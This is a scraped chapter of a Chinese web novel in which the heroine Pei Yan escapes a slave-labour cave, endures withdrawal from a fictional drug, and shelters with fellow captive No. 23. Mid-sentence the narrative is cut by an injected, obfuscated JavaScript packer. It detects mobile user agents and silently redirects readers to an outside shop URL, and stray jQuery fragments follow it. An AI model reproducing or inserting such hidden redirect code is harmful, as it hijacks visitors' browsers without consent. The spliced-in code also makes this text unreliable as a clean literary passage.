默认冷灰
24号文字
方正启体

42. 逍遥

作者:绛衣白本书字数:K更新时间:
    裴厌突然被拉住,那人手劲很大,拽住裴厌的胳膊,将她往后拉。


    她立即从失重的感受中抽离出来,胳膊处传来撕扯的痛感叫她清醒不少。


    裴厌回头,却看见二十三号拧着眉,拽着她的胳膊。


    “你准备了那么久,就是为了出来自寻死路么?”二十三号用有些沙哑低沉的声音说道。


    他说着松开她的手,裴厌脸上皆是属于监工的、喷溅的血点迹,凝结成痂一般,雨水也冲不掉。


    裴厌揉了揉胳膊,没有答话,她一直被逍遥散潜移默化影响着,方才也像失了魂一般想要跳下去。


    “多谢。”


    裴厌说完,回头看了一眼浓烟滚滚的洞口,又望向漆黑的山野和怒吼的河水。


    她将抢来的弩机背在身上,毫不犹豫地纵身一跃,却不是跳向栈道,而是扑向洞口下方一处被藤蔓半遮的、陡峭的岩坡。


    她听见二十三号在她身后喊了一声,却被雨水抹尽,听不清楚,来不及过多停留,雨水冰冷,几乎是瞬间,便湿透全身。


    岩石湿滑,她手脚并用,指甲翻裂,却感觉不到疼,只是向下,再向下,逃离那身后的火光与嘶喊。


    不知滑坠了多久,她重重摔进一片及膝的泥水灌木丛中,嘴里满是血腥和泥浆的味道。


    她抬起头,抹去脸上的雨水和血污。


    眼前是茫茫的、黑暗的、咆哮的山野,没有路,但也没有了那令人窒息的洞穴。


    冰冷的雨水打在身上,是久违的、属于“外面”的触感,她挣扎着爬起来,回头望去,半山腰那个洞口,如同妖兽的眼睛,闪烁着混乱的火光,在雨夜中显得遥远而模糊。


    裴厌深吸了一口混杂着雨水、泥土和草木气息的空气,转身,跌跌撞撞地,消失在更加浓稠的山林黑暗之中。


    身后的喧嚣,渐渐被暴雨和河水的怒吼吞没。


    冰冷的雨,像无数根细针,扎透单薄的衣料,刺进皮肉,钻进骨头缝里,方才裴厌滚下陡峭的岩坡时,尖锐的碎石和断枝在她身上划开许多口子,此时都叫嚣着疼。


    冰冷和疼痛让她不禁瑟缩,可是她不能停留,深林里危机四伏,若是毒瘾爆发时,她还在此徘徊,下场绝不会好看。


    背后抢来的弩机被藤蔓勾住,弩弦已松,她解下来,看了看,将它丢弃在泥水里,这东西太笨重,现下也没用了。


    此时她并没有多少逃出生天的狂喜,只有无边无际的疲惫,以及随之而来的、更深的茫然。


    裴厌咬着牙往前赶路,可是她却完全无法分辨方向。


    在西北,她可以凭星辰、凭草甸的起伏、凭风的方向找到路,可在这里,只有无边的、湿漉漉的黑暗,以及四面八方压迫而来的雨打林叶声。


    她只能选择一个方向,背离那洞口火光的方向,执拗地向前走。


    雨似乎小了些,但林间依旧滴水如幕,她深一脚浅一脚,不知走了多久,衣衫早已湿透粘在身上,寒冷一点点侵蚀她的体温和意识。


    她开始控制不住地发抖,牙齿咯咯打颤,必须找到避雨的地方,否则不被追兵找到,也会先活活冻死在这林子里。


    就在裴厌几乎要被寒冷和疲惫击垮时,前方隐约出现一片相对开阔的坡地,坡下似乎有水流声。


    她勉强振奋精神,小心翼翼靠近坡地边缘,不曾想那里有几块巨大的岩石堆叠,形成的一个浅浅的、不足一人高的凹隙,里面虽然也潮湿,但至少能避开直接浇灌的雨水。


    裴厌几乎是爬着钻了进去,蜷缩在最里面的角落,身体的颤抖稍稍平复。


    此时另一种更隐秘的痛苦却开始悄然蔓延,骨缝里仿佛有蚂蚁在爬,细微的酸麻从四肢末端向心头汇聚,脑海里倏忽升起一股难以言喻的焦躁和空虚。


    是逍遥散。


    裴厌用力咬住下唇,血腥味在口中扩散,她试图用更尖锐的疼痛对抗那附骨之蛆般的渴求。


    不能想,不能想那种暖流涌遍全身、一切痛苦都远去的错觉,她将额头抵在冰冷潮湿的岩石上。


    她一遍又一遍强迫自己回忆草原上的风,回忆阿兄教她骑马时开阔的蓝天,回忆那些早已模糊的、属于“琅照”而不是“四十九号”的记忆。


    她将那些画面刻在脑海里,似乎这些就在触手可及的地方,就在眼前也说不定。


    昏昏沉沉,半睡半醒,不知过了多久,一阵极其轻微的、不同于雨滴落地的窸窣声,让她骤然绷紧了神经。


    不是野兽,是脚步声,踩在湿软落叶上,虽极力放轻,但还是被裴厌捕捉到,这是灰鹞帮带给她的,一片黑暗下锤炼出的、锐于常人的听力。


    裴厌屏住呼吸,手指摸向怀中,攥紧了那块边缘锋利的燧石,凹隙外,雨丝在微明的天光中闪着细碎的光,天色竟已有些发白了。


    一个身影,出现在凹隙口外几步远的地方,停住了,高而瘦,身上贴着破烂湿透的料奴服,染着凝结的、又被雨水冲刷开暗红的血污。


    是二十三号。


    他脸上一如往常般没什么表情,雨水顺着他削瘦的下颌不断滴落,他就那样站着,隔着雨幕看着她,眼神复杂,晦暗中似乎闪过一丝如释重负。


    裴厌没有放松警惕,手中的燧石攥得更紧,他怎么会找过来,莫非是巧合。


    “这地方不错,”二十三号忽然开口,声音比在洞穴里听到的更沙哑些,带着雨夜的寒气,“避风,也避雨。”


    他说话很自然,仿佛两人是相约在此碰头,说完,他竟自顾自地走到凹隙的另一侧,贴着岩壁坐下,与裴厌隔了大约六七尺的距离,他动作间有些滞涩,左腿似乎不太灵便。


    裴厌沉默地看着他。


    他没有靠近,没有多余的举动,只是坐下,从怀里掏出一个小皮囊,仰头喝了一口,然后他闭上眼,头靠在岩壁上,像是要休息。


    仿佛他只是路过,找了个地方歇脚,而裴厌恰好先在这里。


    紧绷的神经稍稍松懈,但疑虑并未完全消散,裴厌依旧保持着蜷缩的姿势,燧石抵在掌心。


    断药的痛苦和寒冷交织,让她无法思考太多,至少眼下他似乎没有敌意,多一个人,在这陌生又危机四伏的深林里,或许也多一分渺茫的生还机会。


    二人相安无事地待在岩缝里,好长时间,裴厌几乎要失去意识。


    雨渐渐停了,林间弥漫起乳白色的浓雾,湿冷更甚,天光透过雾气,勉强照亮周围模糊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206316|197355||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的轮廓。


    二十三号忽然动了,他睁开眼,看向裴厌:“能走吗?”


    裴厌没回答,尝试移动,左臂和全身的酸痛让她闷哼一声。


    他起身,走过来,在裴厌警惕的目光中,将刚才喝过的小皮囊递到她面前,“喝一口,会好些。”


    他顿了顿,补充道,“不是水。”


    裴厌闻到了一丝极淡的、熟悉又令人憎恶的甜腥气,是稀释的逍遥散药液。


    见她不动,二十三号扯了扯嘴角,那笑容没什么温度:“不想冻死,或者待会儿走不动喂了狼,就喝了它,放心,死不了,也……疯不了。”


    他意有所指地看了看她紧握燧石的手,“你现在这样子,我用不着下药。”


    他的话直接而残酷,戳破了裴厌强撑的虚弱,以她现在的状态,他若真有恶意,根本无需多此一举。


    但是寒冷和逐渐加剧的断药反应,正在快速吞噬她所剩无几的体力和清醒。


    生存的欲望压倒了一切,裴厌接过皮囊,她仰头,灌下一小口。


    那微温的、带着古怪甜味的液体滑入喉咙,很快,一股熟悉的、令人既安心又恐惧的暖意从心腹扩散开来,迅速流向四肢百骸。


    寒冷被驱散,疼痛变得迟钝,昏沉的头脑也清晰了些,但随之而来的是一种轻飘飘的虚浮感。


    她把皮囊扔回给他。


    二十三号接过,没说什么,自己也喝了一小口,然后仔细系好塞回怀里,动作谨慎。


    “雾散些就走。”二十三号说着重新坐下,“这附近有水源,但昨天那场雨,黑水河支流肯定暴涨,河谷不能走,得往高处绕。”


    裴厌看着他:“你知道路?”


    “不知道。”二十三号回答得很干脆,“但我知道怎么尽量不死。”他指了指自己的眼睛和耳朵,“看痕迹,听动静。”


    “对了,你有名字吗?”二十三号看向她,偏了偏头,“我总不能叫你四十九号。”


    裴厌低头,回答:“裴厌。”


    二十三号却没顺理成章介绍自己的名字,而是转过头,看着眼前的岩石纹路。


    裴厌目光落在他身上,“你不告诉我你的名字吗?”


    二十三号苦笑一声,低声说道:“我叫常逍遥。”仿佛吐露一种不堪回首的东西。


    他顿了顿,看向裴厌,眼神清亮了些,“不过,我打算换个名字,还没想好,你可以继续叫我二十三。”


    裴厌若有所思地点了点头。


    二十三没有追问裴厌的来历,只是陈述一个事实,他们要一起在未知的山林里找一条活路。


    这种理所当然的合作让裴厌有些不适,却又无法反驳,她确实对虞国东南的雨林一无所知,像个盲人。


    “你为什么……”裴厌想问,你为什么跟着我?或者,你为什么救我?


    “你救了很多人。”二十三号打断她,目光望向凹隙外白茫茫的雾,“在洞里。”他说得简单,好像这就是全部理由。


    裴厌沉默了,她只觉得自己害了很多人,洞穴里有一百二十三个料奴,真正活下来的能有几个?


    “你已经做了你能做的一切。”二十三号勾了勾唇,含笑看着裴厌。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)